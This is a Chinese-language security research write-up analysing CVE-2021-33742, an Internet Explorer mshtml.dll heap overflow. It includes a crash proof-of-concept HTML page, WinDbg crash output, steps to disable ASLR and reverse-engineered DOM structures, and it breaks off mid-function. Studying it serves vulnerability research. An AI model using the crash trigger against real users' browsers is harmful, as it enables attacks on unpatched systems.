作者:天融信阿爾法實驗室
原文鏈接:https://mp.weixin.qq.com/s/nfPm0B2Z9dTodsw-VTUxpQ
1 漏洞背景
2021年07月14日Google威脅分析團隊(TAG:Threat Analysis Group)發布了一篇標題為"How We Protect Users From 0-Day Attacks"的文章。這篇文章公布了2021年Google威脅分析團隊發現的4個在野利用的0day漏洞的詳細信息。Google Chrome中的CVE-2021-21166和CVE-2021-30551,Internet Explorer中的CVE-2021-33742和Apple Safari中的CVE-2021-1879。
2021年4月,TAG發現了一項針對亞美尼亞用戶的攻擊活動,該活動通過惡意的Office文檔調用Internet Explorer加載遠程的惡意Web頁面來利用Internet Explorer渲染引擎中的一個漏洞進行攻擊。該惡意文檔通過使用Shell.Explorer.1 OLE對象嵌入遠程ActiveX對象或通過VBA宏生成Internet Explorer進程并導航到惡意網頁來實現攻擊。此攻擊中使用的漏洞被分配為CVE-2021-33742,并于2021年6月由Microsoft修復。
微軟計劃將于2022年6月停用Internet Explorer 11,用微軟推出的新版本瀏覽器Microsoft Edge來替代它。為了兼容舊網站,Microsoft Edge內置了Internet Explorer模式。按理說,繼續研究Internet Explorer漏洞,不再有較大意義,但是今年還是發生了多個Internet Explorer 0day漏洞在野利用的攻擊事件,例如:CVE-2021-26411、CVE-2021-40444,所以研究Internet Explorer漏洞,還是存在一定的意義。
本文要分析的漏洞是存在于Trident渲染引擎/排版引擎中的一個漏洞。如今,在最新版的Windows11中,依舊可以看到Trident渲染引擎(mshtml.dll)和EdgeHTML渲染引擎(edgehtml.dll)的身影。Trident是Internet Explorer使用的排版引擎。它的第一個版本隨著1997年10月發布的Internet Explorer 4發布,之后不斷的加入新的技術并隨著新版本的Internet Explorer發布。在Trident7.0(Internet Explorer 11使用)中,微軟對Trident排版引擎做了重大的變動,除了加入新的技術之外,并增加了對網頁標準的支持。EdgeHTML是由微軟開發并用于Microsoft Edge的專有排版引擎。該排版引擎是Trident的一個分支,但EdgeHTML移除所有舊版Internet Explorer遺留下來的代碼,并重寫主要的代碼以和其他現代瀏覽器的設計精神互通有無。
在Google威脅分析團隊發布了上面所說的那篇文章之后,又在Google Project Zero的博客上公布了這些漏洞的細節。本文章就是對Internet Explorer中的CVE-2021-33742漏洞的分析過程的一個記錄。我之前分析過老版本的Internet Explorer的漏洞,這是第一次比較正式的分析新版本Internet Explorer的漏洞,如有錯誤和不足之處,還望見諒。
2 漏洞簡介
CVE-2021-33742是存在于Internet Explorer的Trident渲染引擎(mshtml.dll)中的一個堆越界寫漏洞。這個漏洞是由于通過JavaScript使用DOM innerHTML屬性對內部html元素設置內容(包含文本字符串)時觸發的。通過innerHTML屬性修改標簽之間的內容時,會造成IE生成的DOM樹/DOM流的結構發生改變,IE會調用CSpliceTreeEngine類的相關函數對IE的DOM樹/DOM流的結構進行調整。當調用CSpliceTreeEngine::RemoveSplice()去刪除一些DOM樹/DOM流結構時,恰好這些結構中包含文本字符串時,就有可能會造成堆越界寫。
3 分析環境
| 使用的環境 | 備注 | |
|---|---|---|
| 操作系統 | Windows 10 1809 Pro x64 Windows 10 Enterprise LTSC 2019 x64 | 版本號1:10.0.17763.864(Updated Nov 2019) 版本號2:10.0.17763.316(Updated March 2019) |
| 調試器 | WinDbg | 版本號:v10.0.16299.15(x64) |
| 反匯編器 | IDA Pro | 版本號:7.5 |
| 漏洞軟件 | Internet Explorer | 版本號: 11.864.17763.0 更新版本:11.0.160(KB4525106) |
| 漏洞模塊 | mshtml.dll | 版本號1:11.0.17763.831(逆向) 版本號2:11.0.17763.1911(補丁前) 版本號3:11.0.17763.1999(補丁后) |
3.1 提取漏洞模塊
Windows 10 x64版本內置32位和64位兩個版本的Internet Explorer,分別在“C:\Program Files (x86)\Internet Explorer”和“C:\Program Files\internet explorer”兩個文件夾下。但是相應架構的Internet Explorer的Trident渲染引擎(mshtml.dll)位于“C:\Windows\SysWOW64\mshtml.dll”和“C:\Windows\System32\mshtml.dll”。64位操作系統能夠獨立運行32位和64位版本軟件,“Program Files (x86)”和“SysWOW64”存放32位軟件的軟件模塊,“Program Files”和“System32”存放64位軟件的軟件模塊。32位軟件并不能在64位系統中直接運行,所以微軟設計了WoW64(Windows-on-Windows 64-bit),通過Wow64.dll、Wow64win.dll、Wow64cpu.dll三個dll文件進行32位和64位系統的切換來運行32位軟件。
本次分析,我使用的是32位Internet Explorer的Trident渲染引擎(mshtml.dll),也就是“C:\Windows\SysWOW64\mshtml.dll”。
3.2 關閉ASLR
關閉了ASLR后,可以更方便的進行調試,dll模塊的加載基址不會在每次調試時發生改變,造成調試障礙。Windows10是通過Windows Defender來關閉Windows緩解措施的。打開Windows Defender后,選擇“應用和瀏覽器控制”,然后找到“Exploit Protection”,選擇“Exploit Protection 設置”。注意:設置界面擁有兩個選項卡,“系統設置”和“程序設置”。我們先看“系統設置”,與ASLR有關系的是“強制映像隨機化(強制性ASLR)”、“隨機化內存分配(自下而上ASLR)”、“高熵ASLR”,我們都將其設為關閉狀態。先關閉“高熵ASLR”,然后再關閉其他兩項。
“強制映像隨機化(強制性ASLR)”,不管編譯時是否使用“/DYNAMICBASE”編譯選項進行編譯,開啟了“強制性ASLR”后,會對所有軟件模塊的加載基址進行隨機化,包括未使用“/DYNAMICBASE”編譯選項編譯的軟件模塊。關于編譯時是否使用了“/DYNAMICBASE”編譯選項進行編譯,可以使用“Detect It Easy”查看PE文件的“IMAGE_NT_HEADERS -> IMAGE_OPTIONAL_HEADER -> DllCharacteristics -> IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE”標志位是否進行了設置。
“隨機化內存分配(自下而上ASLR)”,開啟了該選項后,當我們使用malloc()或HeapAlloc()在堆上申請內存時,得到的堆塊地址將在一定程度上進行隨機化。
“高熵ASLR”,這個選項需要配合“隨機化內存分配(自下而上ASLR)”選項使用,開啟了該選項后,會在“隨機化內存分配(自下而上ASLR)”基礎上,更大程度的隨機化堆塊的分配地址。

接下來,我們來看“程序設置”。由于Windows10可以對單獨的應用程序設置緩解措施的開啟或關閉,并且替換“系統設置”中的設置,造成關閉了“系統設置”中所有與ASLR相關的緩解措施后,dll模塊的加載基址還是在變化。切換到“程序設置”選項卡后,找到iexplore.exe,點擊編輯,將所有與ASLR有關的設置的“替代系統設置”的勾去掉。

設置完成后,重啟一下操作系統。
這樣設置完后,你可能會發現,軟件模塊的加載基址仍然不是一個確定的值,這時,就需要使用16進制編輯器將PE文件頭中的NT Headers->Optional Header->DllCharacteristics->IMAGE_DLL_CHARACTERISTICS_ DYNAMIC_BASE設置為0,用其替換原有的軟件模塊。這樣就徹底關閉了Internet Explorer的ASLR了。這里推薦使用010Editor,借助它的Templates功能,可以很方便的修改該標志位。

4 漏洞復現
我使用的是Google Project Zero的Ivan Fratric提供的PoC。
<!-- 原始PoC -->
<html>
<head>
<script>
var b = document.createElement("html");
b.innerHTML = Array(40370176).toString();
b.innerHTML = "";
</script>
</head>
<body>
</body>
</html>
由于原始PoC過于精簡,無法觀察到執行效果,對我理解程序的執行流程造成了一定的障礙。所以我嘗試了以下幾種經過修改的PoC,用于觀察執行效果。
<!-- PoC1:測試執行效果 -->
<html>
<head>
<script>
window.onload=function(){
var b = document.createElement("html");
document.body.appendChild(b);
var arr = Array(4);
for (var i=0;i<4;i++){
arr[i] = 'A';
}
b.innerHTML = arr.toString();
}
</script>
</head>
<body>
</body>
</html>
執行效果如下:

我們可以得出以下結論:PoC通過HTML DOM方法document.createElement(),創建了一個“html”結點(同時創建“head”和“body”結點),并把新創建的“html”結點添加到原有的“body”結點中。然后,創建了一個Array數組并進行了初始化。最后將該數組轉化為字符串,通過HTML DOM的innerHTML屬性,添加到新創建的“html”結點中的“body”結點中。
原始PoC中,并未將創建的Array數組初始化,我們通過Chrome的開發者工具查看未初始化的Array數組轉化為字符串后,得到的是什么。這有助于我們后面在調試PoC時,觀察字符串所對應的內存數據。

可以看到,初始化后的Array數組轉化成字符串后,每個元素是使用“,”分隔的。未初始化的Array數組轉化成字符串后,只有一連串的“,”。其個數為Array數組元素個數減1。
<!-- PoC2:測試能否成功造成Crash -->
<html>
<head>
<script>
window.onload=function(){
var b = document.createElement("html");
document.body.appendChild(b);
b.innerHTML = Array(40370176).toString();
b.innerHTML = "";
}
</script>
</head>
<body>
</body>
</html>
經過測試,PoC2也可以成功造成Crash。關于document.createElement()的參數,只有“html”元素可以成功觸發Crash,其他標簽無法造成Crash(我不確定)。
好了,我們現在開始通過調試復現此漏洞。這里使用的是原始的PoC。首先打開Internet Explorer,拖入PoC,會彈出一個提示框“Internet Explorer已限制此網頁運行腳本或ActiveX控件”,表示現在html中的javascript代碼還沒有得到執行。這時,我們打開WinDbg,附加到iexplore.exe上,輸入g命令運行,然后在Internet Explorer界面點擊提示框中的“允許阻止的內容”(可能需要刷新一下)。然后Internet Explorer會執行異常,WinDbg會捕獲到異常并中斷下來。以下是Crash的現場情況:
(211c.80c): Break instruction exception - code 80000003 (first chance)
ntdll!DbgBreakPoint:
00007ffd`64a43150 cc int 3
0:015> g
ModLoad: 00000000`70a90000 00000000`70aaf000 C:\Windows\SysWOW64\WLDP.DLL
ModLoad: 00000000`771f0000 00000000`77235000 C:\Windows\SysWOW64\WINTRUST.dll
Invalid parameter passed to C runtime function.
(211c.2320): Access violation - code c0000005 (first chance) <---- 內存訪問違例
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
MSHTML!CSpliceTreeEngine::RemoveSplice+0x4e9:
63a46809 66893c50 mov word ptr [eax+edx*2],di ds:002b:26e1a024=????
0:004:x86> r
eax=2211a020 ebx=0504cb38 ecx=04915644 edx=02680002 esi=0504ca08 edi=0000fdef
eip=63a46809 esp=0504c7a8 ebp=0504c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x4e9:
63a46809 66893c50 mov word ptr [eax+edx*2],di ds:002b:26e1a024=????
0:004:x86> !address 26e1a024
Usage: Free
Base Address: 00000000`22e1c000
End Address: 00000000`63580000
Region Size: 00000000`40764000 ( 1.007 GB)
State: 00010000 MEM_FREE
Protect: 00000001 PAGE_NOACCESS <---- 不可訪問
Type: <info not present at the target>
Content source: 0 (invalid), length: 3c765fdc
0:004:x86> k
# ChildEBP RetAddr
00 0504c9f0 63a44fe6 MSHTML!CSpliceTreeEngine::RemoveSplice+0x4e9
01 0504cb1c 63b91ff9 MSHTML!Tree::TreeWriter::SpliceTreeInternal+0x8d
02 0504cbf8 63bca8e3 MSHTML!CDoc::CutCopyMove+0x148759
03 0504cc2c 63a80d38 MSHTML!RemoveWithBreakOnEmpty+0x1499bd
04 0504cd7c 63a80a5d MSHTML!InjectHtmlStream+0x29b
05 0504cdc0 63a81a2f MSHTML!HandleHTMLInjection+0x86
06 0504ceb8 63a816a2 MSHTML!CElement::InjectInternal+0x2c9
07 0504cf2c 63a815ba MSHTML!CElement::InjectTextOrHTML+0xdf
08 0504cf58 63a8153c MSHTML!CElement::Var_set_innerHTML+0x51
09 0504cf80 6dd74dae MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_innerHTML+0x3c
0a 0504cfec 6dcfed4e JSCRIPT9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x1de
0b 0504d018 6dcfec9d JSCRIPT9!<lambda_58b9ba9eeb8f97b5e624add39c5039e7>::operator()+0xa0
0c 0504d044 6dcfec21 JSCRIPT9!ThreadContext::ExecuteImplicitCall<<lambda_58b9ba9eeb8f97b5e624add39c5039e7> >+0x73
0d 0504d090 6dc6583c JSCRIPT9!Js::JavascriptOperators::CallSetter+0x4b
0e 0504d0b0 6dc65527 JSCRIPT9!Js::InlineCache::TrySetProperty<1,1,1,1,0>+0x10c
0f 0504d104 6dd6eb85 JSCRIPT9!Js::InterpreterStackFrame::DoProfiledSetProperty<Js::OpLayoutElementCP_OneByte const >+0x97
10 0504d11c 6dccf89b JSCRIPT9!Js::InterpreterStackFrame::OP_ProfiledSetProperty<Js::OpLayoutElementCP_OneByte const >+0x19
11 0504d158 6dcc5208 JSCRIPT9!Js::InterpreterStackFrame::Process+0x1b6b
12 0504d284 007f0fe9 JSCRIPT9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x2a8
WARNING: Frame IP not in any known module. Following frames may be wrong.
13 0504d290 6dd73bb3 0x7f0fe9
14 0504d2d0 6dcfeb62 JSCRIPT9!Js::JavascriptFunction::CallFunction<1>+0x93
通過觀察WinDbg的輸出信息,可以發現PoC造成了異常代碼為0xc0000005的內存訪問違例異常。0x63a46809處的異常代碼向一個內存訪問權限為PAGE_NOACCESS(不可訪問)的地址寫入一個值,從而造成Crash。通過k命令打印棧回溯,可以知道發生異常的代碼位于MSHTML!CSpliceTreeEngine::RemoveSplice()函數中。
5 Internet Explorer DOM樹的結構
當如今的Web開發者想到DOM樹時,他們通常會想到這樣的一個樹:

這樣的樹看起來非常的簡單,然而,現實是Internet Explorer的DOM樹的實現是相當復雜的。
簡單地說,Internet Explorer的DOM樹是為了20世紀90年代的網頁設計的。當時設計原始的數據結構時,網頁主要是作為一個文檔查看器(頂多包含幾個動態的GIF圖片和其他的靜態圖片)。因此,算法和數據結構更類似于為Microsoft Word等文檔查看器提供支持的算法和數據結構。回想一下網頁發展的早期,JavaScript還沒有出現,并不能通過編寫腳本操作網頁內容,因此我們所了解的DOM樹并不存在。文本是組成網頁的主要內容,DOM樹的內部結構是圍繞快速、高效的文本存儲和操作而設計的。內容編輯(WYSIWYG:What You See Is What You Get)和以編輯光標為中心用于字符插入和有限的格式化的操作范式是當時網頁開發的特點。
5.1 以文本為中心的設計
由于其以文本為中心的設計,DOM的原始結構是為了文本后備存儲,這是一個復雜的文本數組系統,可以在最少或沒有內存分配的情況下有效地拆分和連接文本。后備存儲將文本(Text)和標簽(Tag)表示為線性結構,可通過全局索引或字符位置(CP:Character Position)進行尋址。在給定的CP處插入文本非常高效,復制/粘貼一系列的文本由高效的“splice(拼接)”操作集中處理。下圖直觀地說明了如何將包含“hello world”的簡單標記加載到文本后備存儲中,以及如何為每個字符和標簽分配CP。

文本后備存儲為非文本實體(例如:標簽和插入點)提供特殊的占位符。
為了存儲非文本數據(例如:格式化和分組信息),另一組對象與后備存儲分開進行維護:表示樹位置的雙向鏈表(TreePos對象)。TreePos對象在語義上等同于HTML源代碼標記中的標簽——每個邏輯元素都由一個開始和結束的TreePos表示。這種線性結構使得在深度優先前序遍歷(幾乎每個DOM搜索API和CSS/Layout算法都需要)DOM樹時,可以很快的遍歷整個DOM樹。后來,微軟擴展了TreePos對象以包括另外兩種“位置”:TreeDataPos(用于指示文本的占位符)和PointerPos(用于指示諸如脫字符(“^大寫字符”:用于表示不可打印的控制字符)、范圍邊界點之類的東西,并最終用于新特性,如:生成的內容結點)。
每個TreePos對象還包括一個CP對象,它充當標簽的全局序數索引(對于遺留的document.all API之類的東西很有用)。從TreePos進入文本后備存儲時需要用到CP,它可以使結點順序的比較變得容易,甚至可以通過減去CP索引來得到文本的長度。
為了將它們聯系在一起,一個TreeNode將成對的TreePos綁定在一起,并建立了JavaScript DOM所期望的“樹”層次結構,如下圖所示:

5.2 增加復雜性層次結構
CP的設計造成了原有的DOM非常復雜。為了使整個系統正常工作,CP必須是最新的。因此,每次DOM操作(例如:輸入文本、復制/粘貼、DOM API操作,甚至點擊頁面——這會在DOM中設置插入點)后都會更新CP。最初,DOM操作主要由HTML解析器或用戶操作驅動,所以CP始終保持最新的模型是完全合理的。但是隨著JavaScript和DHTML的興起,這些操作變得越來越普遍和頻繁。
為了保持原來的更新速度,DOM添加了新的結構以提高更新的效率,并且伸展樹(SplayTree)也隨之產生,伸展樹是在TreePos對象上添加了一系列重疊的樹連接。起初,增加的復雜性提高了DOM的性能,可以用O(log n)速度實現全局CP更新。然而,伸展樹實際上僅針對重復的局部搜索進行了優化(例如:針對以DOM樹中某個位置為中心的更改),并沒有證明對JavaScript及其更多的隨機訪問模式具有同樣的效果。
另一個設計現象是,前面提到的處理復制/粘貼的“Splice(拼接)”操作被擴展到處理所有的樹突變。核心“Splice Engine(拼接引擎)”分三步工作,如下圖所示:

在步驟1中,引擎將通過從操作開始到結束遍歷樹的位置(TreePos)來“記錄”拼接信息。然后創建一個拼接記錄,其中包含此操作的命令指令(在瀏覽器的還原棧(Undo Stack)中重用的結構)。
在步驟2中,從樹中刪除與操作關聯的所有結點(即TreeNode和TreePos對象)。請注意,在IE DOM樹中,TreeNode/TreePos對象與腳本引用的Element對象不同,TreeNode/TreePos對象可以使標簽重疊更容易,所以刪除它們并不是一個功能性問題。
最后,在步驟3中,拼接記錄用于在目標位置“Replay(重現)”(重新創建)新對象。例如,為了完成appendChild DOM操作,拼接引擎(Splice Engine)在結點周圍創建了一個范圍(從TreeNode的起始TreePos到其結束TreePos),將此范圍“拼接”到舊位置之外,并創建新結點來表示新位置處的結點及其子結點。可以想象,除了算法效率低下之外,這還造成了大量內存分配混亂。
5.3 原來的DOM沒有經過封裝
這些只是Internet Explorer DOM復雜性的幾個示例。更糟糕的是,原來的DOM沒有經過封裝,因此從Parser一直到Display系統的代碼都對CP/TreePos具有依賴性,這需要許多年的開發時間來解決。
復雜性很容易帶來錯誤,DOM代碼庫的復雜性對于軟件的可靠性是一種負擔。根據內部調查,從IE7到IE11,大約28%的IE可靠性錯誤源自核心DOM組件中的代碼。而且這種復雜性也直接削弱了IE的靈活性,每個新的HTML5功能的實現成本都變得更高,因為將新理念實現到現有架構中變得更加困難。
6 漏洞原理分析
6.1 逆向mshtml.dll中此漏洞的相關類
逆向主要是通過微軟提供的pdb文件,以及先前泄露的IE5.5源碼完成的。
6.1.1 CSpliceTreeEngine
實際為SpliceTree工作的類,也就是上面所說的拼接引擎(Splice Engine)的核心類。SpliceTree可以對樹的某個范圍進行移除(Remove)、復制(Copy)、移動(Move)或還原移除(Undo a Remove)。當DOM樹發生變化時就會調用到此類的相關函數。
以下是IE源代碼中的關于此類功能的一些注釋:
移除(Remove):
1、此SpliceTree的行為是移除指定范圍內的所有文本(Text),以及完全落入該范圍內的所有元素(Element)。
2、語義是這樣的,如果一個元素不完全在一個范圍內,它的結束標簽(End-Tags)將不會相對于其他元素進行移動。但是,可能需要減少該元素的結點數。發生這種情況時,結點將從右邊界(Right Edge)移除。
3、范圍內的不具有cling的指針(CTreeDataPos)最終會出現在開始標簽(Begin-Tags)和結束標簽(End-Tags)之間的空間中(可以說,它們應該放在開始標簽和結束標簽之間)。帶有cling的指針會被刪除。
復制(Copy):
1、復制指定范圍內的所有文本(Text),以及完全落在該范圍內的元素(Element)。
2、與左側范圍重疊的元素被復制;開始邊界(Begin-Edges)隱含在范圍的最開始處,其順序與開始邊界在源中出現的順序相同。
3、與右側范圍重疊的元素被復制;結束邊界(End-Edges)隱含在范圍的最末端,其順序與結束邊界在源中出現的順序相同。
移動(Move):
1、指定范圍內的所有文本(Text),以及完全落入該范圍內的元素(Element),都被移動(移除并插入到新位置,而不是復制)。
2、使用與移除(Remove)相同的規則修改與右側或左側重疊的元素,然后使用與復制(Copy)相同的規則將其復制到新位置。
還原移除(Undo a Remove):
1、這種對SpliceTree的操作只能從還原代碼(Undo Code)中調用。本質上,它是由先前移除(Remove)中保存的數據驅動的移動(Move)。更復雜的是,我們必須將保存的數據編織到已經存在的樹中。
下面是我經過逆向得出的IE11中CSpliceTreeEngine類對象的大部分成員。
//CSpliceTreeEngine類對象結構(大小為0x110,Tree::TreeWriter::SpliceTreeInternal())
+0x000 bool _fInsert,//CSpliceTreeEngine::Init()
+0x001 bool _fRemove,//CSpliceTreeEngine::Init()
+0x002 bool _fDOMOperation,//CSpliceTreeEngine::Init()
+0x003 //CSpliceTreeEngine::Init(),一個Flag
+0x004 //CSpliceTreeEngine::Init(),一個Flag
+0x005 //CSpliceTreeEngine::Init(),一個Flag
+0x006 //CSpliceTreeEngine::Init(),一個Flag
+0x007 //CSpliceTreeEngine::Init(),一個Flag
+0x008 //CSpliceTreeEngine::Init(),一個Flag
...
+0x00C CMarkup *_pMarkupSource,//CSpliceTreeEngine::Init()
+0x010 CTreeNode *_pnodeSourceTop,//CSpliceTreeEngine::RecordSplice()
+0x014 CTreePos *_ptpSourceL,//CSpliceTreeEngine::Init()
+0x018 CTreePos *_ptpSourceR,//CSpliceTreeEngine::Init()
+0x01C CTreeNode *_pnodeSourceL,//CSpliceTreeEngine::RecordSplice()
+0x020 CTreeNode *_pnodeSourceR,//CSpliceTreeEngine::RecordSplice()
+0x024 CMarkup *_pMarkupTarget,//CSpliceTreeEngine::RecordBeginElement()
+0x028 CTreePos * _ptpTarget,//CSpliceTreeEngine::Init()
+0x02C CTreeNode *_pnodeTarget,//CSpliceTreeEngine::Init()
+0x030 TCHAR* _pchRecord,//CSpliceTreeEngine::InitUndoRemove()
+0x034 LONG _cchRecord,//CSpliceTreeEngine::InitUndoRemove()
+0x038 LONG _cchRecordAlloc,//CSpliceTreeEngine::RecordText()
+0x03C CSpliceRecord *_prec,//CSpliceTreeEngine::NextRecord()
+0x040 LONG _crec,//CSpliceTreeEngine::NextRecord()
+0x044 WhichAry _cAry,//CSpliceTreeEngine::NextRecord()
+0x048 BOOL _fReversed,//CSpliceTreeEngine::FirstRecord()
+0x04C CSpliceRecordList* _paryRemoveUndo,//CSpliceTreeEngine::InitUndoRemove()
+0x050 BOOL _fNoFreeRecord,//CSpliceTreeEngine::InitUndoRemove()
+0x054 BOOL Flags,//CSpliceTreeEngine::RecordBeginElement(),Flag,_fNoFreeRecord=0x4
+0x058 CSpliceRecordList* ,//CSpliceTreeEngine::Init(),CSpliceTreeEngine::RecordBeginElement(),CSpliceTreeEngine::~CSpliceTreeEngine()
+0x05C ,//CSpliceTreeEngine::RemoveSplice(),CSpliceTreeEngine::~CSpliceTreeEngine(),存放Text的內存指針
+0x060 CElement **_ppelRight,//CSpliceTreeEngine::RecordBeginElement()
...
+0x070 CSpliceRecordList _aryLeft,//CSpliceTreeEngine::RecordLeftBeginElement(),CSpliceTreeEngine::FirstRecord(),CSpliceTreeEngine::NextRecord(),非指針
+0x080 CSpliceRecordList _aryInside,//CSpliceTreeEngine::RecordBeginElement(),CSpliceTreeEngine::RecordEndElement(),CSpliceTreeEngine::RecordTextPos(),CSpliceTreeEngine::RecordPointer(),CSpliceTreeEngine::NextRecord(),非指針
+0x090 CPtrAry<CElement*> _aryElementRight,//CSpliceTreeEngine::CSpliceTreeEngine(),CSpliceTreeEngine::~CSpliceTreeEngine,CSpliceTreeEngine::NoteRightElement(),非指針
+0x09C CPtrAry<CElement*> ,//CSpliceTreeEngine::~CSpliceTreeEngine(),CSpliceTreeEngine::RecordSkippedPointer(),非指針
+0x0A8 CRemoveSpliceUndo _RemoveUndo,//CSpliceTreeEngine::CSpliceTreeEngine(),非指針
+0x0E4 CInsertSpliceUndo _InsertUndo,//CSpliceTreeEngine::CSpliceTreeEngine(),非指針
下面是我經過逆向得出的IE11中CSpliceTreeEngine類的構造函數。
void __thiscall CSpliceTreeEngine::CSpliceTreeEngine(CSpliceTreeEngine *this, CDoc *pDoc)
{
CSpliceRecordList *aryInside; // ecx
CRemoveSpliceUndo *pRemoveSpliceUndo; // ecx
CSpliceRecordList *v5; // edx
CInsertSpliceUndo *pInsertSpliceUndo; // ecx
int InitValue; // edx
// public: __thiscall CSpliceTreeEngine::CSpliceTreeEngine(class CDoc *)
// 功能:CSpliceTreeEngine類的構造函數
this->_aryLeft.ElementCount_Flags = 0;
this->_aryLeft.MaxElementCount = 0;
this->_aryLeft.pData = 0;
aryInside = &this->_aryInside;
aryInside->ElementCount_Flags = 0;
aryInside->MaxElementCount = 0;
aryInside->pData = 0;
this->_aryLeft.field_C = 1;
this->_aryLeft.field_D &= 0xFEu;
aryInside->field_D &= 0xFEu;
aryInside->field_C = 1;
memset(&this->_aryElementRight, 0, 0x18u);
CMarkupUndoBase::CMarkupUndoBase(&this->_RemoveUndo, pDoc, 0, 0);
pRemoveSpliceUndo->pVtbl = &CRemoveSpliceUndo::`vftable';
pRemoveSpliceUndo->field_28 = v5; // 0
pRemoveSpliceUndo->field_30 = v5;
CMarkupUndoBase::CMarkupUndoBase(&this->_InsertUndo, pDoc, v5, v5);
pInsertSpliceUndo->pVtbl = &CInsertSpliceUndo::`vftable';
memset(this, InitValue, 0x70u);
}
6.1.2 CTreeNode
html代碼中,每一對標簽在IE中都會對應一個CTreeNode對象,每個CTreeNode對象的_tpBegin和_tpEnd成員分別用來標識對應標簽的起始標簽和結束標簽。IE11中CTreeNode對象的第三個DWORD的低12位為標簽的類型,通過IE5.5源代碼中的enum ELEMENT_TAG枚舉變量和pdb文件中全局g_atagdesc表,可以得出當前版本mshtml.dll渲染引擎中大部分標簽對應的枚舉值。
下面是我經過逆向得出的IE11中CTreeNode類對象的部分成員。
//CTreeNode類對象結構(大小為0x60,Tree::TreeWriter::CreateRootNode(),Tree::TreeWriter::CreateElementNode())
+0x000 CElement* _pElement,//此Node對應的元素對象的指針,CTreeNode::SetElement(),CTreeNode::CTreeNode()
+0x004 CTreeNode* _pNodeParent,//CTreeNode樹中此Node的父Node,CTreeNode::CTreeNode()
+0x008 DWORD _FlagsAndEtag,//元素對象對應的標簽的類型,低12位為_etag,CTreeNode::SetElement(),CTreeNode::Parent()
+0x00C CTreePos _tpBegin, //此結點的起始CTreePos,CTreeNode::InitBeginPos()
+0x024 CTreePos _tpEnd, //此結點的結束CTreePos,CTreeNode::InitEndPos()
+0x03C SHORT _iCF,//CTreeNode::IsCharFormatValid(),CTreeNode::GetICF(),CTreeNode::GetCharFormatHelper(),CTreeNode::IsDisplayNone()
+0x03E SHORT _iPF,//CTreeNode::IsParaFormatValid(),CTreeNode::GetIPF()
+0x040 SHORT _iFF,//CTreeNode::IsFancyFormatValid(),CTreeNode::GetIFF()
+0x042 SHORT _iSF,//CTreeNode::IsSvgFormatValid(),CTreeNode::GetISF()
+0x044 DWORD _ulRefs_Flags,//高16位為引用計數,為0就會被釋放(dword),CTreePos::AddRef(),CTreeNode::Release(),CTreeNode::CTreeNode(),CTreeNode::GetTextScaledCharFormat()
+0x048 //CTreeNode::GetLayoutAssociationItemAt()
...
+0x054 CFancyFormat* _pFancyFormat,//CTreeNode::CTreeNode()
+0x058 //CTreeNode::GetCharFormat(),CTreeNode::GetFancyFormat(),CTreeNode::GetSvgFormat(),CTreeNode::GetParaFormat(),CTreeNode::IsDisplayNone()
...
6.1.3 CTreePos
每個標簽的開始標簽和結束標簽都有一個對應的CTreePos對象,其包含在CTreeNode對象中。通過CTreePos對象可以找到任何一個標簽在DOM流中的位置,以及在DOM樹中的位置。IE通過CTreePos對象的_pFirstChild和_pNext成員構成了實際的DOM樹,通過_pLeft和_pRight成員構成了DOM流(雙鏈表)。
下面枚舉變量EType是CTreePos對象所對應的元素的類型。
enum EType {
Uninit=0x0, //結點未初始化
NodeBeg=0x1, //對應的結點為開始標簽結點
NodeEnd=0x2, //對應的結點為結束標簽結點
Text=0x4, //對應的結點保存的數據是文本
Pointer=0x8 //對應的結點保存的數據是指針,實現一個IMarkupPointer
};
下面枚舉變量是某一個CTreePos對象在DOM樹中與相連的CTreePos對象的關系,以及CTreePos對象的類型。
// Tree Position Flags
enum {
TPF_ETYPE_MASK = 0x0F,
TPF_LEFT_CHILD = 0x10,
TPF_LAST_CHILD = 0x20,
TPF_EDGE = 0x40,
TPF_DATA2_POS = 0x40,
TPF_DATA_POS = 0x80,
TPF_FLAGS_MASK = 0xFF,
TPF_FLAGS_SHIFT = 8
};
下面是我經過逆向得出的IE11中CTreePos類對象的完整成員。
//CTreePos類對象結構(大小為0x18,CTreeNode::InitBeginPos()、CTreeNode::InitEndPos())
+0x000 DWORD _cElemLeftAndFlags, //我的左子樹中元素的個數,低9位為Flag,CTreePos::IsNode()
+0x004 DWORD _cchLeft, //我的左子樹結構字段中的字符數(維護伸展樹(Splay Tree)),CTreePos::GetCpAndMarkup()
+0x008 CTreePos* _pFirstChild, //我的第一個孩子結點(有可能是左,也有可能是右),CTreePos::LeftChild()
+0x00C CTreePos* _pNext, //我的右兄弟或者父親結點,CTreePos::RightChild(),CTreePos::Parent()
+0x010 CTreePos* _pLeft, //在DOM流中,我左邊的CTreePos,CTreePos::PreviousNonPtrTreePos()
+0x014 CTreePos* _pRight, //在DOM流中,我右邊的CTreePos,CTreePos::NextNonPtrTreePos()
CTreeNode::InitBeginPos()函數用于初始化起始標簽對應的CTreePos對象。
CTreePos *__thiscall CTreeNode::InitBeginPos(CTreeNode *this, BOOL fEdge)
{
CTreePos *_tpBegin; // eax
// public: class CTreePos * __thiscall CTreeNode::InitBeginPos(int)
_tpBegin = &this->_tpBegin;
// (_tpBegin.GetFlags()&~(CTreePos::TPF_ETYPE_MASK|CTreePos::TPF_DATA_POS|CTreePos::TPF_EDGE)) | BOOLFLAG(fEdge, CTreePos::TPF_EDGE) | CTreePos::NodeBeg
this->_tpBegin._cElemLeftAndFlags = this->_tpBegin._cElemLeftAndFlags & 0xFFFFFF31 | (fEdge ? 0x41 : 1);// TPF_EDGE = 0x40,NodeBeg=0x1
return _tpBegin;
}
CTreeNode::InitEndPos()函數用于初始化結束標簽對應的CTreePos對象。
CTreePos *__thiscall CTreeNode::InitEndPos(CTreeNode *this, BOOL fEdge)
{
CTreePos *_tpEnd; // eax
// public: class CTreePos * __thiscall CTreeNode::InitEndPos(int)
_tpEnd = &this->_tpEnd;
// (_tpEnd.GetFlags()&~(CTreePos::TPF_ETYPE_MASK|CTreePos::TPF_DATA_POS|CTreePos::TPF_EDGE)) | BOOLFLAG(fEdge, CTreePos::TPF_EDGE) | CTreePos::NodeEnd
